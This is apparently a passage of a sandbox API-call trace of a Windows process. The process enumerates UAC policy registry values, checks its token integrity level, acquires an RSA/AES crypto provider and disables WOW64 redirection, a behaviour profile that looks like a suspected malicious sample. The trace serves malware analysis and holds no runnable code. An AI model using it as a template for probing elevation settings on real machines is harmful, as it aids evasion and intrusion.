0xa9b898 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c558 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b930 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c510 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa9b940 [0136.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b860) returned 1 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b860 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c4c8 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b968 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c480 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b978 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3f0 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b988 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3a8 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x30) returned 0xa9b998 [0136.787] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b940) returned 1 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b940 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c360 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b950 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c318 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9d0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c2d0 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9e0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.787] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b998) returned 1 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b998 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9a8 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1e8 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1f8 [0136.787] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0136.788] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x3bf874, lpData=0x0, lpcbData=0x3bf87c*=0x0 | out: lpType=0x3bf874*=0x4, lpData=0x0, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.788] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x3bf874, lpData=0xa9c240, lpcbData=0x3bf87c*=0x4 | out: lpType=0x3bf874*=0x4, lpData=0xa9c240*=0x5, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.788] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.789] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.789] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.789] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0136.789] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x3bf874, lpData=0x0, lpcbData=0x3bf87c*=0x0 | out: lpType=0x3bf874*=0x4, lpData=0x0, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.789] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x3bf874, lpData=0xa9c480, lpcbData=0x3bf87c*=0x4 | out: lpType=0x3bf874*=0x4, lpData=0xa9c480*=0x1, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c480) returned 1 [0136.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b8a8) returned 1 [0136.789] RegCloseKey (hKey=0x24) returned 0x0 [0136.789] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3bf8ec | out: TokenHandle=0x3bf8ec*=0x24) returned 1 [0136.789] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x3bf8e8, TokenInformationLength=0x4, ReturnLength=0x3bf8e4 | out: TokenInformation=0x3bf8e8, ReturnLength=0x3bf8e4) returned 1 [0136.789] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3bf8d8 | out: TokenHandle=0x3bf8d8*=0xa0) returned 1 [0136.789] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3bf8d4 | out: TokenInformation=0x0, ReturnLength=0x3bf8d4) returned 0 [0136.789] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.789] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xa9c5a0, TokenInformationLength=0x14, ReturnLength=0x3bf8d4 | out: TokenInformation=0xa9c5a0, ReturnLength=0x3bf8d4) returned 1 [0136.789] GetSidSubAuthorityCount (pSid=0xa9c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa9c5a9 [0136.789] GetSidSubAuthority (pSid=0xa9c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa9c5b0 [0136.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.789] NtClose (Handle=0xa0) returned 0x0 [0136.789] GetSystemInfo (in: lpSystemInfo=0x3bfa20 | out: lpSystemInfo=0x3bfa20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6c) returned 0xa9b860 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.790] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c480 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c438 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c558 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c510 [0136.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x980048 [0136.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c4c8 [0136.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c4c8) returned 1 [0136.791] CryptAcquireContextW (in: phProv=0x3bfa34, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3bfa34*=0x81e390) returned 1 [0136.813] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x980048) returned 1 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9b8d8 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9b960 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c4c8 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9b9e8 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ba70 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3f0 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9baf8 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3a8 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x980048 [0136.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c360 [0136.813] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c360) returned 1 [0136.813] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0136.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x980048) returned 1 [0136.826] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818a90, lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8 | out: lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8) returned 1 [0136.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c360 [0136.826] CreateEventA (lpEventAttributes=0x3bfa30, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0136.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c360) returned 1 [0136.826] GetLastError () returned 0x0 [0136.826] LocalFree (hMem=0x818a90) returned 0x0 [0136.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c360 [0136.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x980048 [0136.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c318 [0136.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c318) returned 1 [0136.826] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0136.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x980048) returned 1 [0136.827] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818a90, lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8 | out: lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8) returned 1 [0136.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c318 [0136.827] CreateEventA (lpEventAttributes=0x3bfa30, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0136.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c318) returned 1 [0136.827] GetLastError () returned 0x0 [0136.827] LocalFree (hMem=0x818a90) returned 0x0 [0136.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c318 [0136.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5000) returned 0x980048 [0136.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c2d0 [0136.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c2d0) returned 1 [0136.827] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0136.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x980048) returned 1 [0136.830] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x818a90, lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8 | out: lpbSaclPresent=0x3bf9e8, pSacl=0x3bfa3c, lpbSaclDefaulted=0x3bf9e8) returned 1 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c2d0 [0136.830] CreateEventA (lpEventAttributes=0x3bfa30, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0136.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c2d0) returned 1 [0136.830] GetLastError () returned 0x0 [0136.830] LocalFree (hMem=0x818a90) returned 0x0 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x980048 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bb80 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c2d0 [0136.830] Wow64DisableWow64FsRedirection (in: OldValue=0x3bfa64 | out: OldValue=0x3bfa64*=0x0) returned 1 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x982850 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x982850 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d600 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2b8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2a8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2b8) returned 1 [0136.832] RtlFreeHeap (HeapHandle=0xa90000, 